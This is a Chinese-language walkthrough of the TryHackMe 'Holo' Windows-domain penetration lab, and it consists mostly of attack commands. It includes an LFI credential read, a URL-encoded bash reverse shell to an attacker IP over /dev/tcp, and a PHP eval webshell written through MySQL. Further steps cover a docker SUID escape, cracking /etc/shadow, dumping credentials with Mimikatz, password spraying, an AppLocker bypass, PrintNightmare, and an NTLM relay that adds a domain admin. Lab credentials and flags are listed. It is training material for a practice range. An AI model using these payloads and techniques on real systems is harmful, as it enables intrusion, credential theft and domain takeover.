TryHackMe靶场-Holo【Windows域渗透】
字数 1610 2025-08-22 22:47:30
Holo靶场渗透教学文档
1. 靶场概述
Holo是一个Active Directory (AD)和Web应用程序攻击实验室,模拟公司网络的外部渗透测试环境。该靶场包含多种攻击场景,涵盖核心Web攻击向量和高级AD攻击技术。
2. 靶场拓扑
初始拓扑包含以下主机:
- L-SRV01 (10.200.69.33) - Linux服务器
- S-SRV01 (10.200.69.31) - Windows服务器
- PC-FILESRV01 (10.200.69.35) - Windows文件服务器
- DC-SRV01 (10.200.69.30) - 域控制器
3. L-SRV01渗透
3.1 初始信息收集
端口扫描:
nmap -sT -p- -Pn 10.200.69.33 --min-rate 10000 -oA portscan
port=$(cat portscan.nmap| grep 'open' | cut -d '/' -f 1 | paste -sd ',')
nmap -sV -sC -p $port 10.200.69.33 --min-rate 10000 -oA detailscan
发现开放端口:22(SSH)、80(HTTP)、33060(MySQL)
3.2 Web应用枚举
子域名枚举:
wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u holo.live -H "Host:FUZZ.holo.live" --hw=1402
发现子域名:
- www.holo.live
- dev.holo.live
- admin.holo.live
3.3 LFI漏洞利用
在dev.holo.live的talents.php发现LFI漏洞:
http://dev.holo.live/img.php?file=images/etc/passwd
读取admin.holo.live的robots.txt获取敏感路径:
/var/www/admin/db.php
/var/www/admin/dashboard.php
/var/www/admin/supersecretdir/creds.txt
通过LFI读取creds.txt获取凭据:
admin:DBManagerLogin!
3.4 RCE获取立足点
登录admin.holo.live后台,发现HTML注释泄露RCE功能点:
http://admin.holo.live/dashboard.php?cmd=ls
反弹shell:
http://admin.holo.live/dashboard.php?cmd=bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E50%2E70%2E9%2F2223%200%3E%261%27
稳定shell:
python3 -c 'import pty;pty.spawn("/bin/bash");'
export XTERM=term
Ctrl + Z
stty raw -echo; fg
获取第一个flag:
HOLO{175d7322f8fc53392a417ccde356c3fe}
3.5 Docker逃逸
发现当前在Docker容器中,通过MySQL服务逃逸:
MySQL连接信息:
define('DB_SRV', '192.168.100.1');
define('DB_PASSWD', "!123SecureAdminDashboard321!");
define('DB_USER', 'admin');
define('DB_NAME', 'DashboardDB');
MySQL写Webshell:
select '<?php echo 123;eval($_POST[\'r0ngy40\']);?>' into outfile '/var/www/html/backdoor.php'
建立隧道:
- 攻击机运行:
./linux_x64_admin -l 12345
- 目标机运行:
./linux_x64_agent -c 攻击机IP:12345
- 服务端执行:
use 0
socks 7777
3.6 SUID提权
发现docker具有SUID权限,利用GTFOBins提权:
docker run -v /:/mnt --rm -it ubuntu:18.04 chroot /mnt sh
获取root flag。
3.7 密码破解
破解/etc/shadow:
unshadow passwd shadow > shadow_passwd
john --wordlist=/usr/share/wordlists/rockyou.txt shadow_passwd
获得凭据:
linux-admin:linuxrulez
4. S-SRV01渗透
4.1 端口扫描
nmap -sT -p- -Pn 10.200.69.31 --min-rate 10000 -oA portscan
4.2 密码重置漏洞
在密码重置功能中发现user_token泄露,可重置任意用户密码:
- 尝试重置gurag用户
- 从响应中获取Set-Cookie中的user_token
- 使用该token重置密码为gurag:gurag
4.3 文件上传漏洞
上传Webshell:
http://10.200.69.31/images/backdoor.php
获取system权限shell。
4.4 凭据抓取
使用Mimikatz抓取凭据:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit > logonpasswords.txt
获取有价值凭据:
watamet:d8d41e6cf762a8c77776a1843d4141c9:Nothingtoworry!
5. PC-FILESRV01渗透
5.1 密码喷洒
使用crackmapexec进行密码喷洒:
proxychains4 crackmapexec smb 10.200.69.35 -u user.txt -p Nothingtoworry! -d 'holo.live'
使用RDP登录:
proxychains4 xfreerdp /u:watamet /p:Nothingtoworry! /h:600 /v:10.200.69.35
5.2 AppLocker绕过
检查可执行目录:
applocker-bypas-checker.ps1
将代理客户端放入C:\Windows\Tasks执行。
5.3 PrintNightmare提权
利用CVE-2021-1675提权:
./CVE-2021-1675.ps1
Invoke-NightMare
添加管理员用户:
adm1n:P@ssw0rd
6. DC-SRV01渗透
6.1 NTLM Relay攻击
端口重定向:
- 使用PortBender将445重定向到8445
- 使用Chisel转发8445到攻击机445
攻击执行:
proxychains4 ntlmrelayx.py -t smb://10.200.69.30 -smb2support -c 'net user adm1n P@ssw0rd /add'
proxychains4 ntlmrelayx.py -t smb://10.200.69.30 -smb2support -c 'net group "domain admins" adm1n /add'
获取域控shell:
proxychains4 psexec.py adm1n@10.200.69.30
7. 关键工具列表
- Nmap - 端口扫描
- Wfuzz - 子域名枚举
- Stowaway - 多层代理
- Mimikatz - 凭据抓取
- CrackMapExec - 密码喷洒
- Inveigh - 网络监听
- PortBender - 端口重定向
- Chisel - 端口转发
- Impacket (ntlmrelayx, psexec) - NTLM中继攻击
- PrintNightmare PoC - 提权利用
8. 总结
本靶场涵盖了从Web应用攻击到AD域渗透的完整流程,涉及多种攻击技术:
- LFI漏洞利用
- RCE获取立足点
- Docker逃逸
- 密码破解
- 密码重置漏洞
- 文件上传漏洞
- AppLocker绕过
- PrintNightmare提权
- NTLM Relay攻击
通过这个靶场,可以全面练习企业网络渗透测试的各个环节。